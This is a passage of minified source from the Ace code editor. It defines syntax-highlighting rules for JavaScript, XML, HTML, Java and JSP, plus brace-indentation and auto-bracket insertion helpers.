f][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/java_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"abstract|continue|for|new|switch|assert|default|goto|package|synchronized|boolean|do|if|private|this|break|double|implements|protected|throw|byte|else|import|public|throws|case|enum|instanceof|return|transient|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|strictfp|volatile|const|float|native|super|while\",t=\"null|Infinity|NaN|undefined\",n=\"AbstractMethodError|AssertionError|ClassCircularityError|ClassFormatError|Deprecated|EnumConstantNotPresentException|ExceptionInInitializerError|IllegalAccessError|IllegalThreadStateException|InstantiationError|InternalError|NegativeArraySizeException|NoSuchFieldError|Override|Process|ProcessBuilder|SecurityManager|StringIndexOutOfBoundsException|SuppressWarnings|TypeNotPresentException|UnknownError|UnsatisfiedLinkError|UnsupportedClassVersionError|VerifyError|InstantiationException|IndexOutOfBoundsException|ArrayIndexOutOfBoundsException|CloneNotSupportedException|NoSuchFieldException|IllegalArgumentException|NumberFormatException|SecurityException|Void|InheritableThreadLocal|IllegalStateException|InterruptedException|NoSuchMethodException|IllegalAccessException|UnsupportedOperationException|Enum|StrictMath|Package|Compiler|Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|Character|Boolean|StackTraceElement|Appendable|StringBuffer|Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|StackOverflowError|OutOfMemoryError|VirtualMachineError|ArrayStoreException|ClassCastException|LinkageError|NoClassDefFoundError|ClassNotFoundException|RuntimeException|Exception|ThreadDeath|Error|Throwable|System|ClassLoader|Cloneable|Class|CharSequence|Comparable|String|Object\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.JavaHighlightRules=o}),ace.define(\"ace/mode/jsp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/java_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./java_highlight_rules\").JavaHighlightRules,o=function(){i.call(this);var e=\"request|response|out|session|application|config|pageContext|page|Exception\",t=\"page|include|taglib\",n=[{token:\"comment\",regex:\"<%--\",push:\"jsp-dcomment\"},{token:\"meta.tag\",regex:\"<%@?|<%=?|<jsp:[^>]+>\",push:\"jsp-start\"}],r=[{token:\"meta.tag\",regex:\"%>|<\\\\/jsp:[^>]+>\",next:\"pop\"},{token:\"variable.language\",regex:e},{token:\"keyword\",regex:t}];for(var o in this.$rules)this.$rules[o].unshift.apply(this.$rules[o],n);this.embedRules(s,\"jsp-\",r,[\"start\"]),this.addRules({\"jsp-dcomment\":[{token:\"comment\",regex:\".*?--%>\",next:\"pop\"}]}),this.normalizeRules()};r.inherits(o,i),t.JspHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var 